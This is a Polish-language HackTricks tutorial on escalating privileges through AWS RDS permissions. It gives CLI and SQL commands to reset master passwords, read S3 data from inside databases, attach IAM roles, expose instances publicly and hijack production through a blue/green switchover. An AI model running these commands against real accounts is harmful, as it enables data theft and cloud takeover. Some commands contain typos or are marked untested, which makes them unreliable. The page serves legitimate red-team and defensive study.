AWS - RDS Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

RDS - Relational Database Service

Aby uzyskać więcej informacji o RDS, sprawdź:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Dzięki temu uprawnieniu atakujący może zmodyfikować hasło użytkownika głównego, oraz login w bazie danych:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Warning

Będziesz musiał mieć możliwość połączenia się z bazą danych (zwykle są dostępne tylko z sieci wewnętrznych).

Potential Impact: Odszukanie wrażliwych informacji wewnątrz baz danych.

rds-db:connect

According to the docs a user with this permission could connect to the DB instance.

Nadużycie uprawnień roli RDS IAM

Postgresql (Aurora)

Tip

Jeśli uruchamiając SELECT datname FROM pg_database; znajdziesz bazę danych o nazwie rdsadmin, wiesz, że jesteś w AWS postgresql database.

Najpierw możesz sprawdzić, czy ta baza danych była używana do dostępu do innych usług AWS. Możesz to sprawdzić, patrząc na zainstalowane rozszerzenia:

SELECT * FROM pg_extension;

Jeśli znajdziesz coś takiego jak aws_s3 możesz założyć, że ta baza danych ma jakiś rodzaj dostępu do S3 (są też inne rozszerzenia, takie jak aws_ml i aws_lambda).

Również, jeśli masz uprawnienia do uruchomienia aws rds describe-db-clusters możesz tam zobaczyć, czy klaster ma przypisaną jakąkolwiek IAM Role w polu AssociatedRoles. Jeśli tak, możesz założyć, że baza danych była przygotowana do dostępu do innych usług AWS. Na podstawie nazwy roli (albo jeśli możesz uzyskać uprawnienia roli) możesz zgadnąć, jaki dodatkowy dostęp ma baza danych.

Teraz, aby odczytać plik wewnątrz bucketu musisz znać pełną ścieżkę. Możesz go odczytać za pomocą:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Gdybyś miał raw AWS credentials mógłbyś też użyć ich do dostępu do danych S3 za pomocą:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Note

Postgresql nie musi zmieniać żadnej zmiennej grupy parametrów aby móc uzyskać dostęp do S3.

Mysql (Aurora)

Tip

W instancji mysql, jeśli uruchomisz zapytanie SELECT User, Host FROM mysql.user; i jest użytkownik o nazwie rdsadmin, możesz założyć, że jesteś wewnątrz AWS RDS mysql db.

W instancji mysql uruchom show variables; i jeśli zmienne takie jak aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role mają wartości, możesz założyć, że baza danych jest przygotowana do dostępu do danych S3.

Również, jeśli masz uprawnienia do uruchomienia aws rds describe-db-clusters, możesz sprawdzić, czy klaster ma jakąś powiązaną rolę, co zwykle oznacza dostęp do usług AWS).

Teraz, aby przeczytać plik w bucketcie musisz znać pełną ścieżkę. Możesz go przeczytać za pomocą:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Atakujący posiadający uprawnienia rds:AddRoleToDBCluster i iam:PassRole może dodać określoną rolę do istniejącej instancji RDS. To może pozwolić atakującemu na uzyskanie dostępu do danych wrażliwych lub modyfikację danych wewnątrz instancji.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Potencjalny wpływ: Dostęp do danych wrażliwych lub nieautoryzowane modyfikacje danych w instancji RDS.
Należy pamiętać, że niektóre DBs wymagają dodatkowej konfiguracji, na przykład MySQL, który wymaga także określenia ARN roli w grupach parametrów.

rds:CreateDBInstance

Posiadając tylko to uprawnienie, atakujący może utworzyć nową instancję w istniejącym klastrze, który już istnieje i ma przypisaną rolę IAM. Nie będzie w stanie zmienić hasła głównego użytkownika, ale może być w stanie udostępnić nową instancję bazy danych w internecie:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

Note

TODO: Przetestować

Atakujący posiadający uprawnienia rds:CreateDBInstance i iam:PassRole może utworzyć nową instancję RDS z dołączoną określoną rolą. Następnie atakujący może potencjalnie uzyskać dostęp do wrażliwych danych lub modyfikować dane w obrębie instancji.

Warning

Some requirements of the role/instance-profile to attach (from here):

  • The profile must exist in your account.
  • The profile must have an IAM role that Amazon EC2 has permissions to assume.
  • The instance profile name and the associated IAM role name must start with the prefix AWSRDSCustom .
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Potencjalny wpływ: Dostęp do danych wrażliwych lub nieautoryzowane modyfikacje danych w instancji RDS.

rds:AddRoleToDBInstance, iam:PassRole

Atakujący posiadający uprawnienia rds:AddRoleToDBInstance i iam:PassRole może dodać określoną rolę do istniejącej instancji RDS. Może to pozwolić atakującemu na dostęp do danych wrażliwych lub modyfikację danych w tej instancji.

Warning

Instancja DB musi znajdować się poza klastrem, aby to zadziałało

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Potential Impact: Dostęp do wrażliwych danych lub nieautoryzowane modyfikacje danych w instancji RDS.

rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment

Atakujący posiadający te uprawnienia może sklonować bazę danych produkcyjną (Blue), przypisać klonowi rolę IAM o wysokich uprawnieniach (Green), a następnie użyć switchover, aby zastąpić środowisko produkcyjne. Pozwala to napastnikowi podnieść uprawnienia bazy danych i uzyskać nieautoryzowany dostęp do innych zasobów AWS.

# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>

# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>

# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>

Potencjalny wpływ: Pełne przejęcie produkcyjnego środowiska bazy danych. Po przełączeniu baza działa z podwyższonymi uprawnieniami, co umożliwia nieautoryzowany dostęp do innych usług AWS (np. S3, Lambda, Secrets Manager) z poziomu bazy danych.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks